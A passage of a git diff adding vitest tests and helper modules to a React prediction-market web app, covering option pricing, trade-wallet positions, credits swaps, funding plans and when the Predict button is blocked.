detail = session(); + + expect(toPredictOptions(detail, [estimateOn(detail, FIRST, estimate)])[0]?.targetPriceWad).toBe(price); + }); + + it("never prices outside the tradeable band and never lowers the price for a higher estimate", () => { + const detail = session([sessionChildRow({ lowerBound: wad(20), upperBound: wad(80) })]); + + let previous = -1n; + for (let step = 0; step <= 1200; step += 1) { + const estimate = step / 10; + const [option] = toPredictOptions(detail, [estimateOn(detail, FIRST, estimate)]); + const price = option?.targetPriceWad; + if (price === undefined) throw new Error(`no option for ${estimate}`); + + expect(typeof price).toBe("bigint"); + expect(price).toBeGreaterThanOrEqual(MIN_PRICE_WAD); + expect(price).toBeLessThanOrEqual(MAX_PRICE_WAD); + expect(price).toBeGreaterThanOrEqual(previous); + previous = price; + } + }); +}); + +describe("toSavedEstimates, a stored run's options as estimates", () => { + const LOWER = "0xcccccccccccccccccccccccccccccccccccccccc"; + const UPPER = "0xCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; + + const storedOn = (childMarket: string): PredictOption => ({ + childMarket: childMarket as PredictOption["childMarket"], + underlying: addresses.underlyingToken, + upToken: addresses.upToken, + downToken: addresses.downToken, + invalidToken: addresses.childInvalidToken, + targetPriceWad: 5n * 10n ** 17n, + }); + + it.each([ + { stored: UPPER, listed: LOWER }, + { stored: LOWER, listed: UPPER }, + ])("finds the option stored as $stored on the session's $listed", ({ stored, listed }) => { + const detail = session([sessionChildRow({ id: listed })]); + + // the director scale runs 0 to 500, so a 0.5 price is 250 + expect(toSavedEstimates(detail, [storedOn(stored)])).toEqual([{ scale: detail.options[0], value: 250 }]); + }); + + it("drops a stored option on a market the session does not list", () => { + const detail = session([sessionChildRow()]); + + expect(toSavedEstimates(detail, [storedOn(addresses.deployer)])).toEqual([]); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/toWalletMarket.test.ts b/apps/web/src/app/market/[parentMarket]/_components/__tests__/toWalletMarket.test.ts index 1df73cf1..5a849935 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/__tests__/toWalletMarket.test.ts +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/toWalletMarket.test.ts @@ -12,6 +12,8 @@ const child = (overrides: Partial = {}) => displayName: dune.director.displayName, color: dune.director.color, underlyingToken: addresses.underlyingToken, + upToken: addresses.upToken, + downToken: addresses.downToken, ...overrides, }); @@ -31,15 +33,33 @@ const session = (overrides: Partial = {}) => ); describe("toWalletMarket", () => { - it("carries the collateral, the parent market and one token per outcome", () => { + it("carries the collateral, the parent market, and each outcome's token with its UP and DOWN", () => { expect(toWalletMarket(session())).toEqual({ parentMarket: addresses.parentMarket, collateral: { address: addresses.collateralToken, decimals: 18, symbol: "sDAI" }, - options: [{ token: addresses.underlyingToken, name: dune.director.displayName, color: dune.director.color }], + options: [ + { + token: addresses.underlyingToken, + name: dune.director.displayName, + color: dune.director.color, + positions: [ + { side: "UP", token: addresses.upToken }, + { side: "DOWN", token: addresses.downToken }, + ], + }, + ], invalidToken: addresses.invalidToken, }); }); + it("keeps the wallet for an outcome whose UP and DOWN tokens did not index, listing no positions for it", () => { + const market = toWalletMarket(session({ children: [child({ upToken: "", downToken: "" })] })); + + expect(market?.options).toEqual([ + { token: addresses.underlyingToken, name: dune.director.displayName, color: dune.director.color, positions: [] }, + ]); + }); + it("refuses a session with no invalid token, which cannot be merged back", () => { expect(toWalletMarket(session({ invalidToken: null }))).toBeNull(); }); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/useCreditsHeld.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/useCreditsHeld.test.tsx new file mode 100644 index 00000000..2a6f1689 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/useCreditsHeld.test.tsx @@ -0,0 +1,37 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { renderHook, waitFor } from "@testing-library/react"; +import type { Address } from "viem"; +import { expect, it, vi } from "vitest"; + +import { fetchCredits } from "@/lib/trade-executor/credits"; + +import { useCreditsHeld } from "../useCreditsHeld"; + +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); +vi.mock("@/lib/trade-executor/credits", () => ({ fetchCredits: vi.fn() })); +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + creditsContracts: () => ({ + credits: "0x1111111111111111111111111111111111111111", + manager: "0x2222222222222222222222222222222222222222", + }), +})); + +const address = (digit: string) => `0x${digit.repeat(40)}` as Address; + +it("settles a failed read on its first try, so the funding plan does not wait out retries", async () => { + vi.mocked(fetchCredits).mockRejectedValue(new Error("no code at the manager")); + // retries on, as src/lib/query.ts sets them, so only the hook can turn them off + const client = new QueryClient({ defaultOptions: { queries: { retry: 2, retryDelay: 1000 } } }); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + + const { result } = renderHook(() => useCreditsHeld(address("9"), address("8"), address("3")), { wrapper }); + + await waitFor(() => expect(result.current.isError).toBe(true), { timeout: 500 }); + expect(result.current.isLoading).toBe(false); + expect(fetchCredits).toHaveBeenCalledTimes(1); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/useCreditsSwapPreview.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/useCreditsSwapPreview.test.tsx new file mode 100644 index 00000000..fab67081 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/useCreditsSwapPreview.test.tsx @@ -0,0 +1,74 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { renderHook, waitFor } from "@testing-library/react"; +import { describe, expect, it, vi } from "vitest"; + +import { addresses, VAULT_RATE, WAD } from "@/features/predict/flow/__tests__/support/fakes"; + +import { useCreditsSwapPreview } from "../useCreditsSwapPreview"; + +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); +vi.mock("@/features/predict/run/reader", async () => { + const { fakeReader } = await import("@/features/predict/flow/__tests__/support/fakes"); + return { createPredictReader: () => fakeReader() }; +}); +vi.mock("@/lib/swap/lens", async () => { + const { fakeCreditsQuoter } = await import("@/features/predict/flow/__tests__/support/fakes"); + return { createLensExactInputQuoter: () => fakeCreditsQuoter({ lossBps: 40n }) }; +}); +const routed = vi.hoisted(() => ({ yes: true })); +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + creditsRoute: () => + routed.yes + ? { + token: addresses.credits, + manager: addresses.manager, + wxdai: addresses.wxdai, + swaprRouter: addresses.swapRouter, + } + : null, +})); + +function mount(credits: bigint) { + const client = new QueryClient(); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + return renderHook( + () => + useCreditsSwapPreview({ + sessionId: "1", + collateral: addresses.collateral, + tradeWallet: addresses.executor, + credits, + creditsBps: 20, + }), + { wrapper }, + ); +} + +describe("useCreditsSwapPreview", () => { + it("names what the credits swap gives up against the vault rate as quoted now", async () => { + const { result } = mount(2n * WAD); + const value = (2n * WAD * VAULT_RATE) / WAD; + + await waitFor(() => expect(result.current.preview).toBeDefined()); + expect(result.current.preview?.loss).toBe(value - (value * (10_000n - 40n)) / 10_000n); + expect(result.current.failed).toBe(false); + }); + + it("fails where no route swaps the credits, so Predict does not wait on a quote that never comes", () => { + routed.yes = false; + try { + expect(mount(2n * WAD).result.current).toEqual({ preview: undefined, failed: true }); + } finally { + routed.yes = true; + } + }); + + it("names nothing while no credits are spent", () => { + expect(mount(0n).result.current).toEqual({ failed: false }); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/useOptionPositions.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/useOptionPositions.test.tsx new file mode 100644 index 00000000..79d0a223 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/useOptionPositions.test.tsx @@ -0,0 +1,114 @@ +import { renderHook } from "@testing-library/react"; +import type { Address } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import type { SessionDetail } from "@/features/sessions/types"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { useOptionPositions } from "../useOptionPositions"; + +const OWNER = "0x0000000000000000000000000000000000000a11" as Address; +const TRADE_WALLET = "0x00000000000000000000000000000000000e7ec0" as Address; +const WAD = 10n ** 18n; + +const account = vi.hoisted(() => ({ + address: undefined as Address | undefined, + chainId: undefined as number | undefined, +})); +const executor = vi.hoisted(() => ({ deployed: undefined as Address | undefined | null })); +const balances = vi.hoisted(() => ({ + data: undefined as bigint[] | undefined, + calls: [] as Array<{ holder: Address | undefined; tokens: Address[] }>, +})); + +vi.mock("wagmi", () => ({ useAccount: () => account })); +vi.mock("@/features/trade-executor/api/getExecutor", () => ({ + useExecutor: () => ({ data: executor.deployed === undefined ? undefined : { deployed: executor.deployed } }), +})); +vi.mock("@/features/trade-executor/api/getTokenBalances", () => ({ + useTokenBalances: (holder: Address | undefined, tokens: Address[]) => { + balances.calls.push({ holder, tokens }); + return { data: holder ? balances.data : undefined }; + }, +})); + +const token = (n: number) => `0x${n.toString(16).padStart(40, "0")}` as Address; +const option = (market: string, upToken: Address | null, downToken: Address | null) => ({ + market, + upToken, + downToken, +}); + +/** A, then B with no tokens yet, then C: B must not shift C's balances. */ +const session = { + collateralDecimals: 18, + options: [ + option("0xAAAA000000000000000000000000000000000000", token(1), token(2)), + option("0xBBBB000000000000000000000000000000000000", null, null), + option("0xCCCC000000000000000000000000000000000000", token(3), token(4)), + ], +} as unknown as SessionDetail; + +beforeEach(() => { + account.address = OWNER; + account.chainId = DEFAULT_CHAIN_ID; + executor.deployed = TRADE_WALLET; + balances.data = undefined; + balances.calls = []; +}); + +describe("useOptionPositions", () => { + it("reads the trade wallet, not the connected account", () => { + renderHook(() => useOptionPositions(session)); + + expect(balances.calls.at(-1)?.holder).toBe(TRADE_WALLET); + }); + + it("asks for each traded option's UP then DOWN, skipping an option with no tokens", () => { + renderHook(() => useOptionPositions(session)); + + expect(balances.calls.at(-1)?.tokens).toEqual([token(1), token(2), token(3), token(4)]); + }); + + it("keys each option's UP and DOWN by its lower-case market", () => { + balances.data = [3n * WAD, 1n * WAD, 0n, 7n * WAD]; + + const { result } = renderHook(() => useOptionPositions(session)); + + expect(result.current).toEqual({ + "0xaaaa000000000000000000000000000000000000": { up: 3n * WAD, down: 1n * WAD }, + "0xcccc000000000000000000000000000000000000": { up: 0n, down: 7n * WAD }, + }); + }); + + it("shows nothing while the wallet is on another chain", () => { + account.chainId = DEFAULT_CHAIN_ID + 1; + balances.data = [3n * WAD, 1n * WAD, 0n, 7n * WAD]; + + const { result } = renderHook(() => useOptionPositions(session)); + + expect(balances.calls.at(-1)?.holder).toBeUndefined(); + expect(result.current).toEqual({}); + }); + + it("shows nothing before the trade wallet is deployed", () => { + executor.deployed = null; + balances.data = [3n * WAD, 1n * WAD, 0n, 7n * WAD]; + + const { result } = renderHook(() => useOptionPositions(session)); + + expect(result.current).toEqual({}); + }); + + it("counts a holding too small to show at two decimals as none", () => { + // 0.004 UP and 0.004 DOWN read as 0 UP · 0 DOWN + balances.data = [4n * 10n ** 15n, 4n * 10n ** 15n, 0n, 1n * 10n ** 16n]; + + const { result } = renderHook(() => useOptionPositions(session)); + + expect(result.current).toEqual({ + "0xcccc000000000000000000000000000000000000": { up: 0n, down: 1n * 10n ** 16n }, + }); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/usePredictExecution.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/usePredictExecution.test.tsx new file mode 100644 index 00000000..813f6dd4 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/usePredictExecution.test.tsx @@ -0,0 +1,292 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { renderHook } from "@testing-library/react"; +import type { Address } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { usePredictRun, type PredictRunInput } from "@/features/predict/hooks/usePredictRun"; +import type { SelectedEstimate } from "@/features/predict/types"; +import type { Funding } from "@/features/predict/utils/funding"; +import type { SessionDetail } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail, type SessionDetailRow } from "@/features/sessions/utils/toSessionDetail"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { usePredictExecution } from "../usePredictExecution"; + +const OWNER = "0x9999999999999999999999999999999999999999" as Address; +const TRADE_WALLET = "0x8888888888888888888888888888888888888888" as Address; +const WAD = 10n ** 18n; + +const ROUTER = "0x7777777777777777777777777777777777777777" as Address; +const FACTORY = "0x6666666666666666666666666666666666666666" as Address; + +const chain = vi.hoisted(() => { + const deployed: { router: Address | null; factory: Address | null; sDai: Address; sDaiAdapter: Address } = { + router: null, + factory: null, + sDai: "0x5555555555555555555555555555555555555555", + sDaiAdapter: "0x4444444444444444444444444444444444444444", + }; + return deployed; +}); + +// The cache keys import the indexer and RPC clients, which read env this suite does not supply. +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +// The test chain has no Seer router and no sDAI; these stand in for gnosis'. +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => chain.router, + tradeExecutorFactoryAddress: () => chain.factory, + sDaiDepositRoute: (collateral: Address) => + collateral === chain.sDai ? { sDai: chain.sDai, sDaiAdapter: chain.sDaiAdapter } : null, +})); + +vi.mock("@/features/predict/hooks/usePredictRun", () => ({ usePredictRun: vi.fn() })); + +const runMock = vi.mocked(usePredictRun); + +/** Every input the hook handed the run, in render order; null where it was not ready. */ +let inputs: (PredictRunInput | null)[] = []; +const lastInput = () => inputs.at(-1) ?? null; + +const session = (overrides: Partial = {}): SessionDetail => + toSessionDetail({ ...sessionDetailColumns, ...overrides, children: [sessionChildRow()] }, GATEWAY); + +/** Each field a distinct amount, so a getter reading the wrong one cannot match. */ +const FUNDING: Funding = { + available: 11n * WAD, + collateralIn: 7n * WAD, + creditsAvailable: 0n, + credits: [], + creditsIn: 0n, + tradeWallet: 5n * WAD, + fromTradeWallet: 4n * WAD, + toAdd: 3n * WAD, + deposit: 2n * WAD, +}; + +type Args = Parameters[0]; + +function mount(overrides: Partial = {}) { + const detail = overrides.session ?? session(); + const selected: SelectedEstimate[] = [ + { scale: detail.options[0]!, value: 312, marketEstimate: 250, direction: "higher" }, + ]; + const queryClient = new QueryClient(); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + const args: Args = { + session: detail, + selected, + owner: OWNER, + chainId: DEFAULT_CHAIN_ID, + tradeWallet: TRADE_WALLET, + funding: FUNDING, + native: false, + slippage: { tradeBps: 100, creditsBps: 20 }, + ...overrides, + }; + const view = renderHook((props: Args) => usePredictExecution(props), { wrapper, initialProps: args }); + return { ...view, args, queryClient }; +} + +beforeEach(() => { + vi.clearAllMocks(); + chain.router = ROUTER; + chain.factory = FACTORY; + inputs = []; + runMock.mockImplementation((input) => { + inputs.push(input); + return { driver: null, progress: null }; + }); +}); + +describe("usePredictExecution, how the visitor pays", () => { + it("sends an xDAI payment as a native deposit", () => { + mount({ native: true }); + + expect(lastInput()?.funding().depositNative).toBe(true); + }); + + it("sends a collateral payment as a token deposit", () => { + mount({ native: false }); + + expect(lastInput()?.funding().depositNative).toBe(false); + }); + + it("hands the run the slippage the popup holds when Predict is pressed, not when the run was built", () => { + const view = mount(); + view.rerender({ ...view.args, slippage: { tradeBps: 250, creditsBps: 60 } }); + + expect(inputs[0]?.slippage()).toEqual({ tradeBps: 250, creditsBps: 60 }); + }); + + it("hands the run the deposit from the funding", () => { + mount(); + + expect(lastInput()?.funding().deposit).toBe(FUNDING.deposit); + }); + + it("hands the run the collateral going into the trade from the funding", () => { + mount(); + + expect(lastInput()?.funding().collateralIn).toBe(FUNDING.collateralIn); + }); + + it("hands the run the trade wallet's balance from the funding", () => { + mount(); + + expect(lastInput()?.funding().collateralBefore).toBe(FUNDING.tradeWallet); + }); + + it("hands the run zero for every amount while the funding is unknown", () => { + mount({ funding: null }); + const input = lastInput(); + + expect({ + deposit: input?.funding().deposit, + collateralIn: input?.funding().collateralIn, + collateralBefore: input?.funding().collateralBefore, + }).toEqual({ deposit: 0n, collateralIn: 0n, collateralBefore: 0n }); + }); + + it("reads the amounts as they stand when the run asks, not when it was built", () => { + const view = mount({ funding: FUNDING }); + const built = lastInput(); + const later: Funding = { ...FUNDING, deposit: 9n * WAD, collateralIn: 13n * WAD, tradeWallet: 6n * WAD }; + + view.rerender({ ...view.args, funding: later }); + + expect({ + deposit: built?.funding().deposit, + collateralIn: built?.funding().collateralIn, + collateralBefore: built?.funding().collateralBefore, + }).toEqual({ deposit: 9n * WAD, collateralIn: 13n * WAD, collateralBefore: 6n * WAD }); + }); + + it("hands the run the sDAI split apart from the credits, and the credits by source", () => { + const withCredits: Funding = { + ...FUNDING, + credits: [{ kind: "foresight", fromTradeWallet: WAD, fromWallet: 2n * WAD }], + creditsIn: 3n * WAD, + }; + mount({ funding: withCredits }); + + expect(lastInput()?.funding()).toMatchObject({ + collateralIn: withCredits.collateralIn - 3n * WAD, + creditsFromEoa: 2n * WAD, + creditsToSpend: 3n * WAD, + }); + }); + + it("reads the pay token as it stands when the run asks, not when it was built", () => { + const view = mount({ native: false }); + const built = lastInput(); + + view.rerender({ ...view.args, native: true }); + + expect(built?.funding().depositNative).toBe(true); + }); +}); + +describe("usePredictExecution, the contracts it names", () => { + it("names Seer's router", () => { + mount(); + + expect(lastInput()?.router).toBe(ROUTER); + }); + + it("names the trade-wallet factory", () => { + mount(); + + expect(lastInput()?.factory).toBe(FACTORY); + }); + + it("names the savings adapter when the collateral is sDAI", () => { + mount({ session: session({ collateralToken: chain.sDai }) }); + + expect(lastInput()?.sDaiAdapter).toBe(chain.sDaiAdapter); + }); + + it("names no savings adapter when the collateral is not sDAI", () => { + mount({ session: session({ collateralToken: addresses.collateralToken }) }); + + expect(lastInput()?.sDaiAdapter).toBeNull(); + }); +}); + +describe("usePredictExecution, when a run can be built", () => { + it("is ready for an owner on the app's chain with a trade wallet and a collateral", () => { + const view = mount(); + + expect(view.result.current.ready).toBe(true); + expect(lastInput()).toMatchObject({ owner: OWNER, executor: TRADE_WALLET }); + }); + + it.each([ + { case: "no wallet is connected", overrides: { owner: undefined } }, + { case: "the wallet is on another chain", overrides: { chainId: DEFAULT_CHAIN_ID + 1 } }, + { case: "the wallet's chain is unknown", overrides: { chainId: undefined } }, + { case: "the trade wallet's address is unknown", overrides: { tradeWallet: undefined } }, + { case: "the collateral did not read", overrides: { session: session({ collateralToken: null }) } }, + ] satisfies { case: string; overrides: Partial }[])("is not ready when $case", ({ overrides }) => { + const view = mount(overrides); + + expect(view.result.current.ready).toBe(false); + expect(lastInput()).toBeNull(); + }); + + it.each([ + { case: "no Seer router is deployed", contract: "router" }, + { case: "no trade-wallet factory is deployed", contract: "factory" }, + ] as const)("is not ready when $case", ({ contract }) => { + chain[contract] = null; + + const view = mount(); + + expect(view.result.current.ready).toBe(false); + expect(lastInput()).toBeNull(); + }); +}); + +describe("usePredictExecution, the selected options and quiet stages", () => { + it("hands the driver every selected estimate, not only the first", () => { + const detail = toSessionDetail( + { ...sessionDetailColumns, children: [sessionChildRow(), sessionChildRow({ id: addresses.childMarkets[1] })] }, + GATEWAY, + ); + const selected: SelectedEstimate[] = detail.options.map((scale) => ({ + scale, + value: 250, + marketEstimate: 200, + direction: "higher", + })); + mount({ session: detail, selected }); + + expect( + lastInput() + ?.options() + .map((option) => option.childMarket), + ).toEqual(addresses.childMarkets); + }); + + it.each(["idle", "quoting", "signing", "confirming"] as const)("leaves the cache alone on entering %s", (stage) => { + const view = mount(); + const invalidate = vi.spyOn(view.queryClient, "invalidateQueries"); + runMock.mockImplementation((input) => { + inputs.push(input); + return { driver: null, progress: { stage, steps: [], leftOut: [], batchesDone: 0, batches: 1 } }; + }); + view.rerender(view.args); + + expect(invalidate).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/usePredictFunding.test.ts b/apps/web/src/app/market/[parentMarket]/_components/__tests__/usePredictFunding.test.ts new file mode 100644 index 00000000..5b411ab1 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/usePredictFunding.test.ts @@ -0,0 +1,132 @@ +import { renderHook } from "@testing-library/react"; +import type { Address } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { GAS_RESERVE_WEI } from "@/features/predict/oracle/tolerances"; + +import type { CreditsHeld } from "@/lib/trade-executor/credits"; + +import { usePredictFunding } from "../usePredictFunding"; + +const OWNER = "0x9999999999999999999999999999999999999999" as Address; +const TRADE_WALLET = "0x8888888888888888888888888888888888888888" as Address; +const COLLATERAL = "0x3333333333333333333333333333333333333333" as Address; +const WAD = 10n ** 18n; + +const chain = vi.hoisted(() => ({ + sDai: 0n, + xDai: 0n, + route: true, + rate: { data: undefined as bigint | undefined, isError: false }, + credits: { data: undefined as CreditsHeld | null | undefined, isLoading: false }, +})); + +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + sDaiDepositRoute: (collateral: Address) => + chain.route ? { sDai: collateral, sDaiAdapter: "0x4444444444444444444444444444444444444444" } : null, +})); + +vi.mock("@/features/trade-executor/api/getFunds", () => ({ + useFunds: (holder: Address | undefined) => ({ + data: holder === OWNER ? { native: chain.xDai, token: chain.sDai } : { native: 0n, token: 0n }, + isPending: false, + }), +})); + +vi.mock("@/features/predict/api/getSavingsRate", () => ({ + useSavingsRate: (sDai: Address | undefined) => + sDai ? { ...chain.rate, isPending: chain.rate.data === undefined && !chain.rate.isError } : { isPending: true }, +})); + +vi.mock("../useCreditsHeld", () => ({ useCreditsHeld: () => chain.credits })); + +const fund = (args: { amount?: bigint; useCredits?: boolean } = {}) => + renderHook(() => + usePredictFunding({ + owner: OWNER, + tradeWallet: TRADE_WALLET, + collateral: COLLATERAL, + token: undefined, + amount: args.amount ?? 0n, + useCredits: args.useCredits ?? true, + }), + ).result.current; + +const defaultToken = () => fund().token; + +beforeEach(() => { + chain.sDai = 0n; + chain.xDai = 0n; + chain.route = true; + // 1.25 xDAI per sDAI + chain.rate = { data: (5n * WAD) / 4n, isError: false }; + chain.credits = { data: undefined, isLoading: false }; +}); + +describe("usePredictFunding, the default pay token", () => { + it("compares by collateral value, not by the nominal numbers", () => { + // 11 spendable xDAI is 8.8 sDAI, less than the 10 sDAI held + chain.sDai = 10n * WAD; + chain.xDai = 11n * WAD + GAS_RESERVE_WEI; + + expect(defaultToken()).toBe("collateral"); + }); + + it("waits for the rate before choosing", () => { + chain.xDai = 50n * WAD; + chain.rate = { data: undefined, isError: false }; + + expect(defaultToken()).toBeUndefined(); + }); + + it("falls back to the collateral when the rate cannot be read", () => { + chain.xDai = 50n * WAD; + chain.rate = { data: undefined, isError: true }; + + expect(defaultToken()).toBe("collateral"); + }); + + it("is the collateral when xDAI cannot pay for this session", () => { + chain.xDai = 50n * WAD; + chain.route = false; + + expect(defaultToken()).toBe("collateral"); + }); +}); + +describe("usePredictFunding, the visitor's credits", () => { + beforeEach(() => { + chain.sDai = 10n * WAD; + chain.route = false; + }); + + it("offers nothing and plans from money alone where the chain has no credits", () => { + const { credits, funding } = fund({ amount: 3n * WAD }); + + expect(credits).toEqual({ state: "none" }); + expect(funding).toMatchObject({ creditsIn: 0n, toAdd: 3n * WAD }); + }); + + it("waits for the credits read before planning", () => { + chain.credits = { data: undefined, isLoading: true }; + + expect(fund({ amount: 3n * WAD }).funding).toBeNull(); + }); + + it("spends ticked credits first", () => { + chain.credits = { data: { wallet: 2n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, isLoading: false }; + const { credits, funding } = fund({ amount: 5n * WAD }); + + expect(credits).toEqual({ state: "usable", held: 2n * WAD, usable: 2n * WAD }); + expect(funding).toMatchObject({ creditsIn: 2n * WAD, toAdd: 3n * WAD, available: 12n * WAD }); + }); + + it("still offers unticked credits but spends none of them", () => { + chain.credits = { data: { wallet: 2n * WAD, tradeWallet: 0n, manager: 1000n * WAD }, isLoading: false }; + const { credits, funding } = fund({ amount: 5n * WAD, useCredits: false }); + + expect(credits.state).toBe("usable"); + expect(funding).toMatchObject({ creditsIn: 0n, creditsAvailable: 0n, toAdd: 5n * WAD, available: 10n * WAD }); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/predictBlocker.ts b/apps/web/src/app/market/[parentMarket]/_components/predictBlocker.ts new file mode 100644 index 00000000..6b25d3aa --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/predictBlocker.ts @@ -0,0 +1,36 @@ +import type { SessionOption, SessionStatus } from "@/features/sessions/types"; + +export type PredictBlocker = "closed" | "unfinished" | "no-liquidity" | "no-move" | "disconnected"; + +interface PredictBlockerArgs { + status: SessionStatus; + options: Pick[]; + marketEstimates: Record; + isMarketUnknown: boolean; + selectedCount: number; + isConnected: boolean; + /** True while this wallet's unfinished run is stored for the session. */ + hasStoredRun?: boolean; +} + +/** + * Why Predict is off, one cause by priority: closed, then a stored run, then no liquidity, then no estimate + * moved, then no wallet. Null when Predict is on, while setting up, and while the market numbers are not known. + */ +export function predictBlocker({ + status, + options, + marketEstimates, + isMarketUnknown, + selectedCount, + isConnected, + hasStoredRun = false, +}: PredictBlockerArgs): PredictBlocker | null { + if (status === "closed") return "closed"; + if (hasStoredRun) return "unfinished"; + if (status !== "trading" || isMarketUnknown) return null; + if (selectedCount > 0) return isConnected ? null : "disconnected"; + + const hasLiquidity = options.some((option) => marketEstimates[option.market.toLowerCase()] !== undefined); + return hasLiquidity ? "no-move" : "no-liquidity"; +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/toPredictOptions.ts b/apps/web/src/app/market/[parentMarket]/_components/toPredictOptions.ts new file mode 100644 index 00000000..2ba08bf2 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/toPredictOptions.ts @@ -0,0 +1,53 @@ +import type { ListedEstimate } from "@/features/predict/components/PredictList"; +import type { PredictOption } from "@/features/predict/flow/types"; +import type { OptionTokens } from "@/features/predict/run/driver"; +import type { SelectedEstimate } from "@/features/predict/types"; +import type { SessionDetail } from "@/features/sessions/types"; + +import { estimateToPriceWad, priceWadToEstimate } from "@/utils/optionPrice"; + +/** The selected estimates as the options a run trades. Options missing any token are left out. */ +export function toPredictOptions(session: SessionDetail, selected: SelectedEstimate[]): PredictOption[] { + return selected.flatMap((estimate) => { + const option = session.options.find((each) => each.market === estimate.scale.market); + if (!option?.upToken || !option.downToken || !option.underlyingToken || !option.invalidToken) { + return []; + } + return [ + { + childMarket: option.market, + underlying: option.underlyingToken, + upToken: option.upToken, + downToken: option.downToken, + // each child wraps its own INVALID; the decision's would not burn here + invalidToken: option.invalidToken, + targetPriceWad: estimateToPriceWad(estimate.value, option), + }, + ]; + }); +} + +/** Every option of the session that has all its tokens, as a run names them. */ +export function sessionOptionTokens(session: SessionDetail): OptionTokens[] { + return session.options.flatMap((option) => + option.upToken && option.downToken && option.underlyingToken && option.invalidToken + ? [ + { + childMarket: option.market, + underlying: option.underlyingToken, + upToken: option.upToken, + downToken: option.downToken, + invalidToken: option.invalidToken, + }, + ] + : [], + ); +} + +/** A stored run's options as the estimates they were made from. */ +export function toSavedEstimates(session: SessionDetail, options: PredictOption[]): ListedEstimate[] { + return options.flatMap((option) => { + const scale = session.options.find((each) => each.market.toLowerCase() === option.childMarket.toLowerCase()); + return scale ? [{ scale, value: priceWadToEstimate(option.targetPriceWad, scale) }] : []; + }); +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/toWalletMarket.ts b/apps/web/src/app/market/[parentMarket]/_components/toWalletMarket.ts index a5fe3782..ebfc2e73 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/toWalletMarket.ts +++ b/apps/web/src/app/market/[parentMarket]/_components/toWalletMarket.ts @@ -1,5 +1,5 @@ -import type { SessionDetail } from "@/features/sessions/types"; -import type { TradeWalletMarket } from "@/features/trade-executor/types"; +import type { SessionDetail, SessionOption } from "@/features/sessions/types"; +import type { TradeWalletMarket, TradeWalletPosition } from "@/features/trade-executor/types"; /** * The wallet mints and merges the parent market's whole outcome set, so it needs the @@ -11,7 +11,9 @@ export function toWalletMarket(session: SessionDetail): TradeWalletMarket | null if (!collateralToken || collateralDecimals === null || !collateralSymbol || !invalidToken) return null; const options = session.options.flatMap((option) => - option.underlyingToken ? [{ token: option.underlyingToken, name: option.name, color: option.color }] : [], + option.underlyingToken + ? [{ token: option.underlyingToken, name: option.name, color: option.color, positions: positionsOf(option) }] + : [], ); if (options.length === 0 || options.length !== session.options.length) return null; @@ -22,3 +24,8 @@ export function toWalletMarket(session: SessionDetail): TradeWalletMarket | null invalidToken, }; } + +const positionsOf = (option: SessionOption): TradeWalletPosition[] => [ + ...(option.upToken ? [{ side: "UP" as const, token: option.upToken }] : []), + ...(option.downToken ? [{ side: "DOWN" as const, token: option.downToken }] : []), +]; diff --git a/apps/web/src/app/market/[parentMarket]/_components/useCreditsHeld.ts b/apps/web/src/app/market/[parentMarket]/_components/useCreditsHeld.ts new file mode 100644 index 00000000..ebc95b59 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/useCreditsHeld.ts @@ -0,0 +1,36 @@ +"use client"; + +import { skipToken, useQuery } from "@tanstack/react-query"; +import type { Address } from "viem"; + +import { fundsKeyPrefix } from "@/features/trade-executor/api/getFunds"; + +import { STALE_TIME } from "@/lib/query"; +import { fetchCredits } from 